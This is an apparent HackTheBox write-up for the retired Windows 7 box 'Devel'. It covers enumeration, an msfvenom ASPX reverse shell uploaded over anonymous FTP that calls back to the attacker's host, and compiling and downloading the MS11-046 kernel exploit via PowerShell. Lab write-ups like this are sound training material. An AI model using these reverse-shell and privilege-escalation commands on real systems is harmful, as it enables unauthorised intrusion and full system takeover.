← all writeups

Devel

HackTheBox Windows Easy
#htb#windows#ftp#file-upload#aspx#kernel-exploit#ms11-046

Retired machine. Flags redacted - solve it yourself.

Summary

Windows 7 x86 box. Anonymous FTP writes directly into the IIS web root, so an uploaded ASPX web shell executes in the browser. The unpatched kernel is then abused with MS11-046 (afd.sys) for SYSTEM.

Enumeration

nmap -sV -sC -O 10.10.10.5 -oA nmap
21/tcp open  ftp   Microsoft ftpd (anonymous login allowed)
80/tcp open  http  Microsoft IIS 7.5

OS guess: Windows 7 / Server 2008 R2 (x86).

Foothold

Executables and PHP shells don’t run on IIS; ASPX does.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1234 -f aspx > shell.aspx

Upload shell.aspx over FTP, then request it in the browser → shell as iis apppool\web.

Privilege Escalation

systeminfo

Windows 7 x86, unpatched, no hotfixes → kernel exploit candidate.

MS11-046 (afd.sys):

searchsploit MS11-046        # 40564.c / 18755.c
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Transfer it with PowerShell and run it:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.32:8083/exploit.exe','C:\Users\Public\Downloads\exploit.exe')"

Running the exploit returns a SYSTEM shell → root flag.

Lessons Learned